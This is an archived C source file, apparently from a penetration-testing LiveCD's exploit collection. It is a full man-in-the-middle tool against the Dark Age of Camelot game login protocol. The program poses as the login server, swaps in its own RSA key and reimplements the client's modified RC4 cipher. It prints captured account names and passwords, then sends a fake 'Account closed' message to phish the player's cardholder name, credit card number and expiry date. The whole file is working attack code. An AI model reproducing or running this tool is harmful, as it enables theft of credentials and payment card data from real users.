home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / darkAgeOfCamelotMITMexploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  17KB  |  604 lines
  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <netinet/in.h>
  5. #include <unistd.h>
  6. #include <signal.h>
  7. #include "mycrypt.h"
  8.  
  9. #define SYMKEY_SIZE 256
  10. /*
  11.        Used in setup_crypt().
  12.        Set next line to 1 for 1.67/initial 1.68 client (dated 1/15/04).
  13.        Set it to 2 for 'fixed' client (current is dated 3/1/04)
  14. */
  15. #define LOGIN_PROTOCOL_VERSION 1
  16.  
  17. rsa_key key;
  18. prng_state prng;
  19. unsigned char exported_key_buffer[512];
  20. unsigned long exported_key_len;
  21.  
  22. struct daoc_packet_header {
  23.     unsigned char ESC1;
  24.     unsigned char ESC2;
  25.     unsigned short payload_size; // net byte order
  26. };
  27.  
  28. struct daoc_packet_payload {
  29.     unsigned short command_id;  // packet type in net byte order
  30.     unsigned char data;
  31. };
  32.  
  33. struct daoc_packet {
  34.     struct daoc_packet_header header;
  35.     struct daoc_packet_payload payload;
  36. };
  37.  
  38. struct daoc_socket_state {
  39.     int socket;
  40.     int sym_key_set;
  41.     unsigned char sym_sbox[256];
  42.     int bytes_read_total;
  43.     int bytes_read_payload;
  44.     int expected_payload_size;
  45.     struct daoc_packet_payload *payload;
  46. } client_sock_state;
  47.  
  48. typedef struct daoc_socket_state SOCKSTATE;
  49.  
  50. #define my_ntohs(p) (p[0] << 8) | p[1]
  51.  
  52. void bytes_out(unsigned char *data, int len)
  53. {
  54.     int linepos = 0;
  55.     char ascii[17];
  56.     ascii[16] = 0;
  57.     memset(ascii, '.', sizeof(ascii)-1);
  58.  
  59.     while (len--) {
  60.         if (*data >= ' ' && *data <= '~')
  61.             ascii[linepos] = *data;
  62.  
  63.         printf("%02X ", *data);
  64.         data++;
  65.         linepos = (linepos + 1) % 16;;
  66.  
  67.         if (!linepos) {
  68.             printf(" %s\n", ascii);
  69.             memset(ascii, '.', sizeof(ascii)-1);
  70.         }
  71.     }
  72.  
  73.     if (!linepos)
  74.         return;
  75.  
  76.     while (linepos) {
  77.         ascii[linepos] = ' ';
  78.         printf("   ");
  79.         linepos = (linepos + 1) % 16;;
  80.     }
  81.     printf(" %s\n", ascii);
  82. }
  83.  
  84. void write_str(unsigned char **d, const char *s)
  85. {
  86.     unsigned short size;
  87.     unsigned char *x = *d;
  88.  
  89.     size = strlen(s);
  90.     x[0] = size >> 8;
  91.     x[1] = size & 0xff;
  92.     memcpy(&x[2], s, size);
  93.     *d += size + 2;
  94. }
  95.  
  96. char *dump_str(unsigned char **d)
  97. {
  98.     static char buff[256];
  99.     int size;
  100.     unsigned char *p;
  101.     p = *d;
  102.  
  103.     size = my_ntohs(p);
  104.     memcpy(buff, p+2, size);
  105.     buff[size] = 0;
  106.     *d += size + 2;
  107.     return buff;
  108. }
  109.  
  110. void print_usage(void)
  111. {
  112.     printf("Usage: mystic2 <port>\n");
  113.     printf("\t<port> usually between 10500 and 10504 inclusive.\n");
  114. }
  115.  
  116. int setup_crypt(void)
  117. {
  118.     int err;
  119.  
  120.     if(register_prng(&yarrow_desc) != CRYPT_OK) {
  121.         printf("Could not register prng.\n");
  122.         return -1;
  123.     }
  124.     printf("prng registered...\n");
  125.  
  126.     if ((err = rng_make_prng(128, find_prng("yarrow"), &prng, NULL)) != CRYPT_OK)  {
  127.         printf("Could not make prng: %s\n", error_to_string(err));
  128.         return -1;
  129.     }
  130.  
  131.     /* generate a 1536 bit RSA key.  This duplicates the exported key size
  132.        of Mythic's algorithm, but other sizes would work as well */
  133.     if ((err = rsa_make_key(&prng, find_prng("yarrow"), 192, 65537, &key)) != CRYPT_OK) {
  134.         printf("Could not generate RSA key: %s\n", error_to_string(err));
  135.         return -1;
  136.     }
  137.     printf("RSA key generated...\n");
  138.  
  139.     /* export the key starting at keybuff[10] so we can prepend the
  140.        fixed header the client expects */
  141.     exported_key_len = sizeof(exported_key_buffer);
  142.     if ((err = rsa_export(&exported_key_buffer[10], &exported_key_len, PK_PUBLIC, &key)) != CRYPT_OK) {
  143.         printf("Could not export RSA public key: %s\n", error_to_string(err));
  144.         return -1;
  145.     }
  146.     printf("RSA public key exported (%lu bytes)...\n", exported_key_len);
  147.  
  148.     /* some sort of protocol version information proceeds the key when
  149.        we send it. If not correct, login.dll generates version mismatch 
  150.            error message. */
  151.     *((unsigned long *)&exported_key_buffer[0]) = htonl(LOGIN_PROTOCOL_VERSION);
  152.     *((unsigned short *)&exported_key_buffer[4]) = htons(1);
  153.     /* add the size */
  154.     *((unsigned short *)&exported_key_buffer[6]) = htons(exported_key_len);
  155.     *((unsigned short *)&exported_key_buffer[8]) = htons(exported_key_len);
  156.  
  157.     return 0;
  158. }
  159.  
  160. void cleanup_crypt(void)
  161. {
  162.     /* this never gets called because we never cleanly exit, but
  163.        here it is for completeness */
  164.     rsa_free(&key);
  165.     unregister_prng(&yarrow_desc);
  166. }
  167.  
  168. void symcrypt_in_place(unsigned char *buff, int len)
  169. /* This is mostly a copy of the libTomCrypt::rc4_read() */
  170. {
  171.     int x, y;
  172.     unsigned char *s, tmp, tmp_sym_sbox[SYMKEY_SIZE];;
  173.     int midpoint, pos;
  174.  
  175.     /* restart the key stream generator on every crypt */
  176.     memcpy(tmp_sym_sbox, client_sock_state.sym_sbox, 256);
  177.  
  178.     x = 0;
  179.     y = 0;
  180.     s = tmp_sym_sbox;
  181.     /* it is not standard RC4 practice to break a block in half, but packets
  182.      from mythic's client have a sequence number at the beginning which
  183.      would be easily guessable */
  184.     midpoint = len / 2;
  185.  
  186.     for (pos=midpoint; pos<len; pos++) {
  187.         x = (x + 1) & 255;
  188.         y = (y + s[x]) & 255;
  189.         tmp = s[x]; s[x] = s[y]; s[y] = tmp;
  190.         tmp = (s[x] + s[y]) & 255;
  191.         y = (y + buff[pos]) & 255;  // this is not standard RC4 here
  192.         buff[pos] ^= s[tmp];
  193.     }
  194.     for (pos=0; pos<midpoint; pos++) {
  195.         x = (x + 1) & 255;
  196.         y = (y + s[x]) & 255;
  197.         tmp = s[x]; s[x] = s[y]; s[y] = tmp;
  198.         tmp = (s[x] + s[y]) & 255;
  199.         y = (y + buff[pos]) & 255;  // this is not standard RC4 here
  200.         buff[pos] ^= s[tmp];
  201.     }
  202. }
  203.  
  204. void symdecrypt_in_place(unsigned char *buff, int len)
  205. /* This is mostly a copy of the libTomCrypt::rc4_read() */
  206. {
  207.     int x, y;
  208.     unsigned char *s, tmp, tmp_sym_sbox[SYMKEY_SIZE];;
  209.     int midpoint, pos;
  210.  
  211.     /* restart the key stream generator on every crypt */
  212.     memcpy(tmp_sym_sbox, client_sock_state.sym_sbox, 256);
  213.  
  214.     x = 0;
  215.     y = 0;
  216.     s = tmp_sym_sbox;
  217.     /* it is not standard RC4 practice to break a block in half, but packets
  218.      from mythic's client have a sequence number at the beginning which
  219.      would be easily guessable */
  220.     midpoint = len / 2;
  221.  
  222.     for (pos=midpoint; pos<len; pos++) {
  223.         x = (x + 1) & 255;
  224.         y = (y + s[x]) & 255;
  225.         tmp = s[x]; s[x] = s[y]; s[y] = tmp;
  226.         tmp = (s[x] + s[y]) & 255;
  227.         buff[pos] ^= s[tmp];
  228.         y = (y + buff[pos]) & 255;  // this is not standard RC4 here
  229.     }
  230.     for (pos=0; pos<midpoint; pos++) {
  231.         x = (x + 1) & 255;
  232.         y = (y + s[x]) & 255;
  233.         tmp = s[x]; s[x] = s[y]; s[y] = tmp;
  234.         tmp = (s[x] + s[y]) & 255;
  235.         buff[pos] ^= s[tmp];
  236.         y = (y + buff[pos]) & 255;  // this is not standard RC4 here
  237.     }
  238. }
  239.  
  240. int send_daoc_packet(int command_id, void *buff, int len)
  241. {
  242.     struct daoc_packet *mem;
  243.     int retval;
  244.     int payload_size;
  245.     int total_size;
  246.  
  247.     payload_size = len + 2;  // includes command_id
  248.     total_size = payload_size + sizeof(struct daoc_packet_header);
  249.     mem = malloc(total_size);
  250.     mem->header.ESC1 = '\x1b';
  251.     mem->header.ESC2 = '\x1b';
  252.     mem->header.payload_size = htons(payload_size);
  253.     mem->payload.command_id = htons(command_id);
  254.     memcpy(&mem->payload.data, buff, len);
  255.  
  256.     if (client_sock_state.sym_key_set)
  257.         symcrypt_in_place((unsigned char *)&mem->payload, payload_size);
  258.  
  259.     retval = send(client_sock_state.socket, mem, total_size, 0);
  260.  
  261.     free(mem);
  262.     return retval;
  263. }
  264.  
  265. void setup_sbox_from_key(unsigned char *key, int keylen)
  266. /* code adapted from libTomCrypt rc4::rc4_ready() */
  267. {
  268.     int x, y;
  269.     int tmp;
  270.     for (x=0; x<256; x++)
  271.         client_sock_state.sym_sbox[x] = x;
  272.  
  273.     for (x=y=0; x<256; x++)  {
  274.         y = (y + client_sock_state.sym_sbox[x] + key[x % keylen]) & 255;
  275.         tmp = client_sock_state.sym_sbox[x];
  276.         client_sock_state.sym_sbox[x] = client_sock_state.sym_sbox[y];
  277.         client_sock_state.sym_sbox[y] = tmp;
  278.     }
  279.  
  280.     client_sock_state.sym_key_set = 1;
  281.  
  282. //    printf("Client symmetric key:\n");  bytes_out(key, keylen);
  283. //    printf("Client SBOX:\n");bytes_out(client_sock_state.sym_sbox, sizeof(client_sock_state.sym_sbox));
  284. }
  285.  
  286. void send_billinginfo_request(void)
  287. {
  288.     unsigned char packetbuff[4096], *p;
  289.     p = packetbuff;
  290.     *p++ = 0x4c;
  291.     *p++ = 0x01;
  292.     *p++ = 0x02;
  293.     write_str(&p, "Account closed.");
  294.     *p++ = 0x01;
  295.     *p++ = 0xff;
  296.     *p++ = 0x55;
  297.     write_str(&p, "0.0.0.0");
  298.     *p++ = 0x00;
  299.     *p++ = 0x00;
  300.     send_daoc_packet(0x00c8, packetbuff, p - packetbuff);
  301.     printf("Requesting user enter their billing info...\n");
  302. }
  303.  
  304. void packet_client_authenticate(unsigned char* buff, int len)
  305. {
  306.     /* first 2 bytes are unknown */
  307.     buff += 2;
  308.     printf("Account authenticate request:\n");
  309.     printf("  Account Name: %s\n", dump_str(&buff));
  310.     printf("  Password: %s\n", dump_str(&buff));
  311.  
  312.     send_billinginfo_request();
  313. }
  314.  
  315. void packet_client_billinginfo(unsigned char* buff, int len)
  316. {
  317.     unsigned char rsa_out[1024];
  318.     unsigned char depad_out[1024];
  319.     unsigned char outbuff[4096];
  320.     unsigned long x, y;
  321.     int err;
  322.     int chunk_size;
  323.     int outpos = 0;
  324.  
  325.     //bytes_out(buff, len);
  326.     /* first two bytes are unknown */
  327.     buff += 2; len -= 2;
  328.  
  329.     /* key is made up of blocks which are padded then crypted.  They
  330.        come on the wire as 2 bytes size (net order) then data */
  331.     while (len > 0)  {
  332.         chunk_size = (buff[0] << 8) | buff[1];
  333.         buff += 2; len -= 2;
  334.  
  335.         x = sizeof(rsa_out);
  336.         if ((err = rsa_exptmod(buff, chunk_size, rsa_out, &x, PK_PRIVATE, &key)) != CRYPT_OK) {
  337.             printf("rsa_exptmod failed: %s\n", error_to_string(err));
  338.             return;
  339.         }
  340.         y = sizeof(depad_out);
  341.         if ((err = rsa_depad(rsa_out, x, depad_out, &y)) != CRYPT_OK) {
  342.             printf("rsa_depad failed: %s\n", error_to_string(err));
  343.             return;
  344.         }
  345.  
  346.         memcpy(&outbuff[outpos], depad_out, y);
  347.         outpos += y;
  348.  
  349.         //printf("packet_client_billinginfo has %lu bytes\n", y);
  350.  
  351.         buff += chunk_size; len -= chunk_size;
  352.     }
  353.  
  354.     buff = outbuff;
  355.     printf("Billing Info:\n");
  356.     printf("  Account Name: %s\n", dump_str(&buff));
  357.     printf("  Password: %s\n", dump_str(&buff));
  358.     printf("  Cardholder's Name: %s\n", dump_str(&buff));
  359.     printf("  CreditCard Number: %s\n", dump_str(&buff));
  360.     printf("  Expiration Date: %s/", dump_str(&buff)); printf("%s\n", dump_str(&buff));
  361.     printf("  Billing cycle: %s\n", dump_str(&buff));
  362. }
  363.  
  364. void packet_client_setenckey(unsigned char* buff, int len)
  365. {
  366.     unsigned char rsa_out[4096];
  367.     unsigned char depad_out[4096];
  368.     unsigned char tmp_symkey[SYMKEY_SIZE+4];
  369.     unsigned long x, y;
  370.     int err;
  371.     int chunk_size;
  372.     int symkeysize;
  373.     int outpos = 0;
  374.  
  375.     /* first two bytes are unknown */
  376.     buff += 2; len -= 2;
  377.  
  378.     /* key is made up of blocks which are padded then crypted.  They
  379.        come on the wire as 2 bytes size (net order) then data */
  380.     while (len > 0)  {
  381.         chunk_size = (buff[0] << 8) | buff[1];
  382.         buff += 2; len -= 2;
  383.  
  384.         x = sizeof(rsa_out);
  385.         if ((err = rsa_exptmod(buff, chunk_size, rsa_out, &x, PK_PRIVATE, &key)) != CRYPT_OK) {
  386.             printf("rsa_exptmod failed: %s\n", error_to_string(err));
  387.             return;
  388.         }
  389.         y = sizeof(depad_out);
  390.         if ((err = rsa_depad(rsa_out, x, depad_out, &y)) != CRYPT_OK) {
  391.             printf("rsa_depad failed: %s\n", error_to_string(err));
  392.             return;
  393.         }
  394.  
  395.         memcpy(&tmp_symkey[outpos], depad_out, y);
  396.         outpos += y;
  397.  
  398.         // printf("packet_client_setenckey has %lu bytes\n", y);
  399.  
  400.         buff += chunk_size; len -= chunk_size;
  401.     }
  402.  
  403.     /* first 4 bytes are WORD keysize twice (net order) */
  404.     symkeysize = my_ntohs(tmp_symkey); //(tmp_symkey[0] << 8) | tmp_symkey[1];
  405.     setup_sbox_from_key(&tmp_symkey[4], symkeysize);
  406.  
  407.     printf("Client sent symmetric key (%d bytes)...\n", symkeysize);
  408. }
  409.  
  410. void malloc_client_payload(void)
  411. {
  412.     if (client_sock_state.payload)
  413.         free(client_sock_state.payload);
  414.  
  415.     client_sock_state.payload = (struct daoc_packet_payload *)
  416.         malloc(client_sock_state.expected_payload_size);
  417. }
  418.  
  419. void process_recvd_packet(void)
  420. {
  421.     unsigned short command_id;
  422.     unsigned short payload_size;
  423.     unsigned char *data;
  424.  
  425.     payload_size = client_sock_state.expected_payload_size;
  426.     data = &client_sock_state.payload->data;
  427.  
  428.     if (client_sock_state.sym_key_set)
  429.     {
  430.         symdecrypt_in_place((unsigned char *)client_sock_state.payload, payload_size);
  431.         //bytes_out((unsigned char *)client_sock_state.payload, payload_size);
  432.     }
  433.  
  434.     /* fixup the command_id to host order */
  435.     command_id = ntohs(client_sock_state.payload->command_id);
  436.     //printf("Packet in type 0x%04x is %d bytes\n", command_id, payload_size);
  437.  
  438.     /* subtract sizeof command ID */
  439.     payload_size -= 2;
  440.  
  441.     switch (command_id)
  442.     {
  443.     case 0x012c:
  444.         packet_client_authenticate(data, payload_size);
  445.         break;
  446.     case 0x0130:
  447.         packet_client_billinginfo(data, payload_size);
  448.         break;
  449.     case 0x014b:
  450.         packet_client_setenckey(data, payload_size);
  451.         break;
  452.     }
  453.  
  454.     client_sock_state.bytes_read_total = 0;
  455.     client_sock_state.bytes_read_payload = 0;
  456.     client_sock_state.expected_payload_size = 0;
  457.     free(client_sock_state.payload);
  458.     client_sock_state.payload = NULL;
  459. }
  460.  
  461. int recv_daoc_data(void)
  462. {
  463.     unsigned char sock_buffer[2048];
  464.     int buffer_pos;
  465.     int err;
  466.  
  467.     err = recv(client_sock_state.socket, (void *)sock_buffer, sizeof(sock_buffer), 0);
  468.     //printf("recv=%d\n", err);
  469.     if (err <= 0)
  470.         return err;
  471.  
  472.     for (buffer_pos=0; buffer_pos<err; buffer_pos++) {
  473.         client_sock_state.bytes_read_total++;
  474.  
  475.         switch(client_sock_state.bytes_read_total)
  476.         {
  477.         case 1:  // esc1
  478.             client_sock_state.expected_payload_size = 0;
  479.             break; 
  480.         case 2:  // esc2
  481.             break; 
  482.         case 3:  // MSB of expected size
  483.             client_sock_state.expected_payload_size = sock_buffer[buffer_pos] << 8;
  484.             break;
  485.         case 4:  // LSB of expected size
  486.             client_sock_state.expected_payload_size |= sock_buffer[buffer_pos];
  487.             malloc_client_payload();
  488.             break;
  489.         default:
  490.             ((unsigned char *)client_sock_state.payload)[client_sock_state.bytes_read_payload] = sock_buffer[buffer_pos];
  491.             client_sock_state.bytes_read_payload++;
  492.             if (client_sock_state.bytes_read_payload == client_sock_state.expected_payload_size)
  493.                 process_recvd_packet();
  494.             break;
  495.         }
  496.     }  /* while bytes left */
  497.  
  498.     return err;
  499. }
  500.  
  501. void handle_connection(int client_socket)
  502. {
  503.     memset(&client_sock_state, 0, sizeof(client_sock_state));
  504.     client_sock_state.socket = client_socket;
  505.  
  506.     send_daoc_packet(0x0065, exported_key_buffer, exported_key_len + 10);
  507.     printf("RSA public key sent to client...\n");
  508.  
  509.     for (;;)
  510.     {
  511.         if (recv_daoc_data() <= 0)
  512.             break;
  513.     }
  514. }
  515.  
  516. void accept_connections(int server_socket)
  517. {
  518.     struct sockaddr_in clientaddr;
  519.     int clientaddr_len;
  520.  
  521.     printf(".Waiting for client connections.\n");
  522.     for (;;) {
  523.         clientaddr_len = sizeof(clientaddr);
  524.         int client_sock = accept(server_socket, (struct sockaddr*)&clientaddr, &clientaddr_len);
  525.         printf("Client connected!\n");
  526.         handle_connection(client_sock);
  527.         close(client_sock);
  528.         printf("Client closed\n");
  529.     }
  530. }
  531.  
  532. void sigint(int signum)
  533. {
  534.     printf("SIGINT: cleaning up\n");
  535.     cleanup_crypt();
  536.     signal(signum, SIG_DFL);
  537.     raise(SIGQUIT);
  538. }
  539.  
  540. int start_server_sock(int port)
  541. {
  542.     struct sockaddr_in serveraddr;
  543.     int opt = 1;
  544.  
  545.     int retval = socket(PF_INET, SOCK_STREAM, 0);
  546.     if (retval < 0)
  547.         return -1;
  548.  
  549.     serveraddr.sin_family = AF_INET;
  550.     serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);
  551.     serveraddr.sin_port = htons(port);
  552.  
  553.     if (setsockopt(retval, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)) < 0) {
  554.         close(retval);
  555.         return -1;
  556.     }
  557.  
  558.     if (bind(retval, (struct sockaddr *)&serveraddr, sizeof(serveraddr))< 0) {
  559.         close(retval);
  560.         return -1;
  561.     }
  562.  
  563.     if (listen(retval, 5) < 0) {
  564.         close(retval);
  565.         return -1;
  566.     }
  567.  
  568.     return retval;
  569. }
  570.  
  571. int main(int argc, char **argv)
  572. {
  573.     int server_socket;
  574.     int port;
  575.  
  576.     if (argc != 2) {
  577.         print_usage();
  578.         return 0;
  579.     }
  580.  
  581.     port = atoi(argv[1]);
  582.     if (!port) {
  583.         printf("Invalid port number %s\n", argv[1]);
  584.         print_usage();
  585.         return 0;
  586.     }
  587.  
  588.     if (setup_crypt() < 0)
  589.         return 0;
  590.  
  591.     signal(SIGINT, sigint);
  592.  
  593.     server_socket = start_server_sock(port);
  594.     if (server_socket < 0)  {
  595.         printf("Could not create and bind listener socket\n");
  596.         cleanup_crypt();
  597.     }
  598.     else
  599.         accept_connections(server_socket);
  600.  
  601.     return 0;
  602. }
  603.  
  604.